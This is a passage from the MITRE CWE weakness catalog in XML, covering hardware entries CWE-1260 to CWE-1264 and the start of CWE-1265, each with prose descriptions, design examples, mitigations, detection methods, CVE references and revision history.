		</xhtml:ul>
		<xhtml:p>Certain bits of the access policy are defined symbolically as follows:</xhtml:p>
		<xhtml:ul>
		  <xhtml:li>Access_policy.read_np: if set to one, allows reads from Non_privileged_SW</xhtml:li>
		  <xhtml:li>Access_policy.write_np: if set to one, allows writes from Non_privileged_SW</xhtml:li>
		  <xhtml:li>Access_policy.execute_np: if set to one, allows code execution by Non_privileged_SW</xhtml:li>
		  <xhtml:li>Access_policy.read_p: if set to one, allows reads from Privileged_SW</xhtml:li>
		  <xhtml:li>Access_policy.write_p: if set to one, allows writes from Privileged_SW</xhtml:li>
		  <xhtml:li>Access_policy.execute_p: if set to one, allows code execution by Privileged_SW</xhtml:li>
		</xhtml:ul>
		<xhtml:p>For any requests from software, an address-protection filter checks the address range and access policies for each of the three regions, and only allows software access if all three filters allow access.</xhtml:p>
		<xhtml:p>Consider the following goals for access control as intended by the designer:</xhtml:p>
		<xhtml:ul>
		  <xhtml:li>Region_0 &amp; Region_1: registers are programmable by Privileged_SW</xhtml:li>
		  <xhtml:li>Region_2: registers are programmable by Non_privileged_SW</xhtml:li>
		</xhtml:ul>
		<xhtml:p>The intention is that Non_privileged_SW cannot modify memory region and policies defined by Privileged_SW in Region_0 and Region_1. Thus, it cannot read or write the memory regions that Privileged_SW is using.</xhtml:p>
	      </Intro_Text>
            <Example_Code Nature="Bad">
               <xhtml:p>Non_privileged_SW can program the Address_range register for Region_2 so that its address overlaps with the ranges defined by Region_0 or Region_1. Using this capability, it is possible for Non_privileged_SW to block any memory region from being accessed by Privileged_SW, i.e., Region_0 and Region_1.</xhtml:p>
            </Example_Code>
	    <Body_Text>This design could be improved in several ways.</Body_Text>
            <Example_Code Nature="Good">Ensure that software accesses to memory regions are only permitted if all three filters permit access. Additionally, the scheme could define a memory region priority to ensure that Region_2 (the memory region defined by Non_privileged_SW) cannot overlap Region_0 or Region_1 (which are used by Privileged_SW).</Example_Code>
	    </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-7096</Reference>
               <Description>virtualization product allows compromise of hardware product by accessing certain remapping registers.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-7096</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>[REF-1100]</Reference>
               <Description>processor design flaw allows ring 0 code to access more privileged rings by causing a register window to overlap a range of protected system RAM [REF-1100]</Description>
               <Link>https://github.com/xoreaxeaxeax/sinkhole/blob/master/us-15-Domas-TheMemorySinkhole-wp.pdf</Link>
            </Observed_Example>
			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="456"/>
            <Related_Attack_Pattern CAPEC_ID="679"/>
         </Related_Attack_Patterns>
         <References>
         <Reference External_Reference_ID="REF-1100"/>
      </References>
      <Notes>
	<Note Type="Maintenance">As of CWE 4.6, CWE-1260 and CWE-1316 are siblings under view 1000, but CWE-1260 might be a parent of CWE-1316. More analysis is warranted.</Note>
      </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
               <Submission_Organization>Intel Corporation</Submission_Organization>
               <Submission_Date>2020-02-10</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Modes_of_Introduction, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Observed_Examples, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Contribution Type="Feedback">
				  <Contribution_Name>Narasimha Kumar V Mangipudi</Contribution_Name>
				  <Contribution_Organization>Lattice Semiconductor</Contribution_Organization>
				  <Contribution_Date>2021-10-20</Contribution_Date>
				  <Contribution_Comment>suggested content improvements</Contribution_Comment>
				</Contribution>
				<Contribution Type="Content">
				  <Contribution_Name>Hareesh Khattri</Contribution_Name>
				  <Contribution_Organization>Intel Corporation</Contribution_Organization>
				  <Contribution_Date>2021-10-22</Contribution_Date>
				  <Contribution_Comment>suggested observed examples</Contribution_Comment>
				</Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="1261" Name="Improper Handling of Single Event Upsets" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The hardware logic does not effectively handle when single-event upsets (SEUs) occur.</Description>
         <Extended_Description>
            <xhtml:p>Technology trends such as CMOS-transistor down-sizing, use of 
            new materials, and system-on-chip architectures continue to increase the 
            sensitivity of systems to soft errors. These errors are random, and 
            their causes might be internal (e.g., interconnect coupling) or external 
            (e.g., cosmic radiation). These soft errors are not permanent in nature 
            and cause temporary bit flips known as single-event upsets (SEUs). 
            SEUs are induced errors in circuits caused when charged particles lose 
            energy by ionizing the medium through which they pass, leaving behind a 
            wake of electron-hole pairs that cause temporary failures. If these 
            failures occur in security-sensitive modules in a chip, it might 
            compromise the security guarantees of the chip. For instance, these 
            temporary failures could be bit flips that change the privilege of
	    a regular user to root.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="1384" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="PeerOf" CWE_ID="1254" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
         <Applicable_Platforms>	
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Instability</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>
						<xhtml:p>Implement triple-modular redundancy around security-sensitive modules.</xhtml:p>
					</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>
						<xhtml:p>SEUs mostly affect SRAMs.  For SRAMs storing security-critical data, implement Error-Correcting-Codes (ECC) and Address Interleaving.</xhtml:p>
					</Description>
				</Mitigation>
			</Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This is an example from [REF-1089].  See the reference for full details of this issue.</Intro_Text>
               <Body_Text>Parity is error detecting but not error correcting.</Body_Text>
               <Example_Code Nature="Bad" Language="Other">Due to single-event upsets, bits are flipped in memories.  As a result, memory-parity checks fail, which results in restart and a temporary denial of service of two to three minutes.</Example_Code>
               <Example_Code Nature="Good" Language="Other">Using error-correcting codes could have avoided the restart caused by SEUs. </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In 2016, a security researcher, who was also a patient using a pacemaker, was on an airplane when a bit flip occurred in the pacemaker, likely due to the higher prevalence of cosmic radiation at such heights. The pacemaker was designed to account for bit flips and went into a default safe mode, which still forced the patient to go to a hospital to get it reset. The bit flip also inadvertently enabled the researcher to access the crash file, perform reverse engineering, and detect a hard-coded key. [REF-1101]</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <References>
            <Reference External_Reference_ID="REF-1086"/>
            <Reference External_Reference_ID="REF-1087"/>
            <Reference External_Reference_ID="REF-1088"/>
            <Reference External_Reference_ID="REF-1089"/>
            <Reference External_Reference_ID="REF-1090"/>
            <Reference External_Reference_ID="REF-1091"/>
            <Reference External_Reference_ID="REF-1101"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
               <Submission_Organization>Intel Corporation</Submission_Organization>
               <Submission_Date>2020-02-12</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1262" Name="Improper Access Control for Register Interface" Abstraction="Base" Structure="Simple" Status="Stable">
			<Description>The product uses memory-mapped I/O registers that act as an interface to hardware functionality from software, but there is improper access control to those registers.</Description>
			<Extended_Description>
				<xhtml:p>Software commonly accesses peripherals in a System-on-Chip (SoC) or other device through a memory-mapped register interface. Malicious software could tamper with any security-critical hardware data that is accessible directly or indirectly through the register interface, which could lead to a loss of confidentiality and integrity.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
			 <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
		 <Weakness_Ordinalities>
		   <Weakness_Ordinality>
		     <Ordinality>Primary</Ordinality>
		   </Weakness_Ordinality>
		 </Weakness_Ordinalities>
		 <Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>This weakness may be exploited if the register interface design does not adequately protect hardware assets from software.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Mis-implementation of access control policies may inadvertently allow access to hardware assets through the register interface.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Impact>Read Memory</Impact>
					<Impact>Read Application Data</Impact>
					<Impact>Modify Memory</Impact>
					<Impact>Modify Application Data</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Unexpected State</Impact>
					<Impact>Alter Execution Logic</Impact>
					<Note>Confidentiality of hardware assets may be violated if the protected information can be read out by software through the register interface. Registers storing security state, settings, other security-critical data may be corruptible by software without correctly implemented protections.</Note>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
			  <Detection_Method>
			    <Method>Manual Analysis</Method>
			    <Description>This is applicable in the Architecture phase before implementation started. Make sure access policy is specified for the entire memory map. Manual analysis may not ensure the implementation is correct.</Description>
			    <Effectiveness>Moderate</Effectiveness>
			  </Detection_Method>
            <Detection_Method>
               <Method>Manual Analysis</Method>
               <Description>Registers controlling hardware should have access control implemented. This access control may be checked manually for correct implementation. Items to check consist of how are trusted parties set, how are trusted parties verified, how are accesses verified, etc. Effectiveness of a manual analysis will vary depending upon how complicated the interface is constructed.</Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
			  <Detection_Method>
			    <Method>Simulation / Emulation</Method>
			    <Description>Functional simulation is applicable during the Implementation Phase. Testcases must be created and executed for memory mapped registers to verify adherence to the access control policy. This method can be effective, since functional verification needs to be performed on the design, and verification for this weakness will be included. There can be difficulty covering the entire memory space during the test.</Description>
			    <Effectiveness>Moderate</Effectiveness>
			  </Detection_Method>
			  <Detection_Method>
			    <Method>Formal Verification</Method>
			    <Description>Formal verification is applicable during the Implementation phase. Assertions need to be created in order to capture illegal register access scenarios and prove that they cannot occur. Formal methods are exhaustive and can be very effective, but creating the cases for large designs may be complex and difficult.</Description>
			    <Effectiveness>High</Effectiveness>
			  </Detection_Method>
			  <Detection_Method>
			    <Method>Automated Analysis</Method>
			    <Description>Information flow tracking can be applicable during the Implementation phase. Security sensitive data (assets) - for example, as stored in registers - is automatically tracked over time through the design to verify the data doesn't reach illegal destinations that violate the access policies for the memory map. This method can be very effective when used together with simulation and emulation, since detecting violations doesn't rely on specific scenarios or data values. This method does rely on simulation and emulation, so testcases must exist in order to use this method.</Description>
			    <Effectiveness>High</Effectiveness>
			  </Detection_Method>
			  <Detection_Method>
			    <Method>Architecture or Design Review</Method>
			    <Description>Manual documentation review of the system memory map, register specification, and permissions associated with accessing security-relevant functionality exposed via memory-mapped registers.</Description>
			    <Effectiveness>Moderate</Effectiveness>
			  </Detection_Method>
			  <Detection_Method>
			    <Method>Fuzzing</Method>
			    <Description>Perform penetration testing (either manual or semi-automated with fuzzing) to verify that access control mechanisms such as the memory protection units or on-chip bus firewall settings adequately protect critical hardware registers from software access.</Description>
			    <Effectiveness>Moderate</Effectiveness>
			  </Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Design proper policies for hardware register access from software.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Ensure that access control policies for register access are implemented in accordance with the specified design.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>The register interface provides software access to hardware functionality. This functionality is an attack surface. This attack surface may be used to run untrusted code on the system through the register interface. As an example, cryptographic accelerators require a mechanism for software to select modes of operation and to provide plaintext or ciphertext data to be encrypted or decrypted as well as other functions. This functionality is commonly provided through registers.</Intro_Text>
					<Example_Code Nature="Bad">Cryptographic key material stored in registers inside the cryptographic accelerator can be accessed by software.</Example_Code>
					<Example_Code Nature="Good">Key material stored in registers should never be accessible to software. Even if software can provide a key, all read-back paths to software should be disabled.</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
		<Observed_Examples>
		  <Observed_Example>
		    <Reference>CVE-2014-2915</Reference>
		    <Description>virtualization product does not restrict access to debug and other processor registers in the hardware, allowing a crash of the host or guest OS</Description>
		    <Link>https://www.cve.org/CVERecord?id=CVE-2014-2915</Link>
		  </Observed_Example>
		  <Observed_Example>
		    <Reference>CVE-2021-3011</Reference>
		    <Description>virtual interrupt controller in a virtualization product allows crash of host by writing a certain invalid value to a register, which triggers a fatal error instead of returning an error code</Description>
		    <Link>https://www.cve.org/CVERecord?id=CVE-2021-3011</Link>
		  </Observed_Example>
          <Observed_Example>
            <Reference>CVE-2020-12446</Reference>
            <Description>Driver exposes access to Model Specific Register (MSR) registers, allowing admin privileges.</Description>
            <Link>https://www.cve.org/CVERecord?id=CVE-2020-12446</Link>
          </Observed_Example>
          <Observed_Example>
            <Reference>CVE-2015-2150</Reference>
            <Description>Virtualization product does not restrict access to PCI command registers, allowing host crash from the guest.</Description>
            <Link>https://www.cve.org/CVERecord?id=CVE-2015-2150</Link>
          </Observed_Example>
		</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="680"/>
         </Related_Attack_Patterns>
         <Content_History>
	   <Submission>
	     <Submission_Name>Nicole Fern</Submission_Name>
	     <Submission_Organization>Tortuga Logic</Submission_Organization>
	     <Submission_Date>2020-05-08</Submission_Date>
	   </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
           <Contribution Type="Content">
             <Contribution_Name>Anders Nordstrom, Alric Althoff</Contribution_Name>
             <Contribution_Organization>Tortuga Logic</Contribution_Organization>
             <Contribution_Date>2021-10-11</Contribution_Date>
             <Contribution_Comment>Provided detection methods and observed examples</Contribution_Comment>
            </Contribution>
           <Contribution Type="Content">
             <Contribution_Name>Nicole Fern</Contribution_Name>
             <Contribution_Organization>Riscure</Contribution_Organization>
             <Contribution_Date>2021-10-12</Contribution_Date>
             <Contribution_Comment>Provided detection methods</Contribution_Comment>
            </Contribution>
			<Previous_Entry_Name Date="2021-10-28">Register Interface Allows Software Access to Sensitive Data or Security Settings</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1263" Name="Improper Physical Access Control" Abstraction="Class" Structure="Simple" Status="Incomplete">
			<Description>The product is designed with access restricted to certain information, but it does not sufficiently protect against an unauthorized actor with physical access to these areas.</Description>
			<Extended_Description>Sections of a product intended to have restricted access may be inadvertently or intentionally rendered accessible when the implemented physical protections are insufficient. The specific requirements around how robust the design of the physical protection mechanism needs to be depends on the type of product being protected. Selecting the correct physical protection mechanism and properly enforcing it through implementation and manufacturing are critical to the overall physical security of the product.
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="PeerOf" CWE_ID="1191" View_ID="1000"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>This weakness can arise if design decisions are made that do not align with the intended physical protection of the product</Note>
				</Introduction>
				<Introduction>
					<Phase>Manufacturing</Phase>
					<Note>While the architecture and design phase of the product may have accurately met the intended robustness for product physical protections, this phase may introduce the weakness through errors in physically manufacturing the product.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Access Control</Scope>
					<Impact>Varies by Context</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Specific protection requirements depend strongly on contextual factors including the level of acceptable risk associated with compromise to the product's protection mechanism. Designers could incorporate anti-tampering measures that protect against or detect when the product has been tampered with.</Description>
				</Mitigation>
				<Mitigation>
				  <Phase>Testing</Phase>
				  <Description>The testing phase of the lifecycle should establish a method for determining whether the protection mechanism is sufficient to prevent unauthorized access.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Manufacturing</Phase>
					<Description>Ensure that all protection mechanisms are fully activated at the time of manufacturing and distribution.</Description>
				</Mitigation>
			</Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="401"/>
         </Related_Attack_Patterns>
         <Notes>
        <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
      </Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2020-05-28</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description, Modes_of_Introduction, Name, Potential_Mitigations, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-08-20">Insufficient Physical Protection Mechanism</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1264" Name="Hardware Logic with Insecure De-Synchronization between Control and Data Channels" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The hardware logic for error handling and security checks can incorrectly forward data before the security check is complete.</Description>
         <Extended_Description>
            <xhtml:p>Many high-performance on-chip bus protocols and processor data-paths employ separate channels for control and data to increase parallelism and maximize throughput. Bugs in the hardware logic that handle errors and security checks can make it possible for data to be forwarded before the completion of the security checks. If the data can propagate to a location in the hardware observable to an attacker, loss of data confidentiality can occur. 'Meltdown' is a concrete example of how de-synchronization between data and permissions checking logic can violate confidentiality requirements. Data loaded from a page marked as privileged was returned to the cpu regardless of current privilege level for performance reasons. The assumption was that the cpu could later remove all traces of this data during the handling of the illegal memory access exception, but this assumption was proven false as traces of the secret data were not removed from the microarchitectural state.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="821" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="1037" View_ID="1000"/>
         </Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
         <Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>The weakness can be introduced in the data transfer or bus protocol itself or in the implementation.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                 <xhtml:p>Thoroughly verify the data routing logic to ensure that any error handling or security checks effectively block illegal dataflows.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>There are several standard on-chip bus protocols used in modern SoCs to allow communication between components. There are a wide variety of commercially available hardware IP implementing the interconnect logic for these protocols. A bus connects components which initiate/request communications such as processors and DMA controllers (bus masters) with peripherals which respond to requests. In a typical system, the privilege level or security designation of the bus master along with the intended functionality of each peripheral determine the security policy specifying which specific bus masters can access specific peripherals.  This security policy (commonly referred to as a bus firewall) can be enforced using separate IP/logic from the actual interconnect responsible for the data routing.</Intro_Text>
                <Example_Code Nature="Bad" Language="Other">The firewall and data routing logic becomes de-synchronized due to a hardware logic bug allowing components that should not be allowed to communicate to share data. For example, consider an SoC with two processors. One is being used as a root of trust and can access a cryptographic key storage peripheral. The other processor (application cpu) may run potentially untrusted code and should not access the key store. If the application cpu can issue a read request to the key store which is not blocked due to de-synchronization of data routing and the bus firewall, disclosure of cryptographic keys is possible.</Example_Code>
                <Example_Code Nature="Good" Language="Other">All data is correctly buffered inside the interconnect until the firewall has determined that the endpoint is allowed to receive the data.</Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
				<Observed_Example>
					<Reference>CVE-2017-5754</Reference>
					<Description>Systems with microprocessors utilizing speculative execution and indirect branch prediction may allow unauthorized disclosure of information to an attacker with local user access via a side-channel analysis of the data cache.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2017-5754</Link>
				</Observed_Example>
			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="233"/>
            <Related_Attack_Pattern CAPEC_ID="663"/>
         </Related_Attack_Patterns>
         <Notes>
           <Note Type="Maintenance">As of CWE 4.9, members of the CWE Hardware SIG are closely analyzing this entry and others to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks. Additional investigation may include other weaknesses related to microarchitectural state. As a result, this entry might change significantly in CWE 4.10.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Nicole Fern</Submission_Name>
               <Submission_Organization>Tortuga Logic</Submission_Organization>
               <Submission_Date>2020-05-22</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Description, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1265" Name="Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>During execution of non-reentrant code, the product performs a call that unintentionally produces a nested invocation of the non-reentrant code.</Description>
         <Extended_Description>In a complex product, a single function call may lead to many different possible code paths, some of which may involve deeply nested calls. It may be difficult to foresee all possible code paths that could emanate from a given function call. In some systems, an external actor can manipulate inputs to the system and thereby achieve a wide range of possible control flows. This is frequently a concern in products that execute scripts from untrusted sources. Examples of such products are web browsers and PDF readers. A weakness is present when one of the possible code paths resulting from a function call alters program state that the original caller assumes to be unchanged during the call.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="691" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="663" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="416" View_ID="1000"/>
         </Related_Weaknesses>
